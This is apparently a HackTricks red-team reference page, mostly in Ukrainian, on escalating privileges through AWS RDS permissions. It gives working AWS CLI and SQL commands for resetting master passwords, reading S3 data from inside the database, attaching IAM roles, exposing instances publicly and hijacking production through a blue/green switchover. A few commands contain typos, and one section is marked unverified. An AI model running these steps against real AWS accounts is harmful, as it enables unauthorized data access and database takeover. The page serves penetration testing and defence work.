AWS - RDS Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

RDS - Реляційна служба баз даних

Для отримання додаткової інформації про RDS див.:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Маючи цей дозвіл, зловмисник може змінити пароль головного користувача, а також логін у базі даних:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Вам потрібно мати можливість зв’язатися з базою даних (вони зазвичай доступні лише зсередини мереж).

Potential Impact: Знаходження чутливої інформації всередині баз даних.

rds-db:connect

According to the docs користувач з цим дозволом може підключитися до DB instance.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

Tip

Якщо при виконанні SELECT datname FROM pg_database; ви знайдете базу даних з назвою rdsadmin, ви знаходитесь всередині AWS postgresql database.

Спочатку ви можете перевірити, чи ця база даних використовувалася для доступу до інших сервісів AWS. Ви можете перевірити це, переглянувши встановлені extensions:

SELECT * FROM pg_extension;

Якщо ви знайдете щось на кшталт aws_s3, можна припустити, що ця база даних має певний доступ до S3 (існують інші розширення, такі як aws_ml і aws_lambda).

Також, якщо у вас є дозволи запускати aws rds describe-db-clusters, ви можете побачити там, чи до кластера прикріплена будь-яка IAM Role в полі AssociatedRoles. Якщо так, можна припустити, що база даних була підготовлена для доступу до інших сервісів AWS. Виходячи з назви ролі (або якщо ви можете отримати дозволи ролі), ви могли б припустити, який додатковий доступ має база даних.

Тепер, щоб прочитати файл у bucket вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Якби у вас були raw AWS credentials, ви також могли б використати їх для доступу до даних S3 за допомогою:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql не потрібно змінювати жодну змінну групи параметрів, щоб мати доступ до S3.

Mysql (Aurora)

Tip

У mysql, якщо ви виконаєте запит SELECT User, Host FROM mysql.user; і існує користувач з ім’ям rdsadmin, можна припустити, що ви знаходитесь в AWS RDS mysql db.

У mysql виконайте show variables;, і якщо такі змінні як aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role мають значення, можна припускати, що база даних підготовлена для доступу до даних S3.

Також, якщо у вас є права виконувати aws rds describe-db-clusters, ви можете перевірити, чи кластер має якийсь associated role, що зазвичай означає доступ до AWS services).

Тепер, щоб прочитати файл в bucket вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Зловмисник з дозволами rds:AddRoleToDBCluster та iam:PassRole може додати вказану роль до існуючого RDS instance. Це може дозволити зловмиснику отримати доступ до чутливих даних або змінити дані всередині інстансу.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: Доступ до чутливих даних або несанкціоновані зміни даних в екземплярі RDS.
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.

rds:CreateDBInstance

Маючи лише цей дозвіл, нападник може створити новий екземпляр всередині кластера, який вже існує і до якого приєднано IAM role. Він не зможе змінити master user password, але може зробити новий екземпляр бази даних доступним з інтернету:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Перевірити

An attacker with the permissions rds:CreateDBInstance and iam:PassRole can create a new RDS instance with a specified role attached. The attacker can then potentially access sensitive data or modify the data within the instance.

Warning

Some requirements of the role/instance-profile to attach (from here):

  • Профіль має існувати у вашому обліковому записі.
  • Профіль має містити IAM роль, яку Amazon EC2 має право взяти на себе.
  • Ім’я instance profile та пов’язане ім’я IAM ролі мають починатися з префікса AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Можливий вплив: Доступ до конфіденційних даних або несанкціоновані зміни даних у RDS instance.

rds:AddRoleToDBInstance, iam:PassRole

Атакувальник з дозволами rds:AddRoleToDBInstance і iam:PassRole може додати вказану роль до існуючого RDS instance. Це може дозволити атакувальнику отримати доступ до конфіденційних даних або змінювати дані в інстансі.

Warning

DB instance має бути поза кластером для цього

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Потенційний вплив: доступ до конфіденційних даних або несанкціоновані зміни даних в екземплярі RDS.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Зловмисник із цими дозволами може клонувати продукційну базу даних (Blue), прикріпити до клону IAM role з високими привілеями (Green), а потім використати switchover, щоб замінити продукційне середовище. Це дозволяє зловмиснику підвищити привілеї бази даних і отримати несанкціонований доступ до інших ресурсів AWS.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Потенційний вплив: Повне захоплення продуктивного середовища бази даних. Після перемикання база даних працює з підвищеними привілеями, що дозволяє несанкціонований доступ до інших сервісів AWS (наприклад, S3, Lambda, Secrets Manager) зсередини бази даних.

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks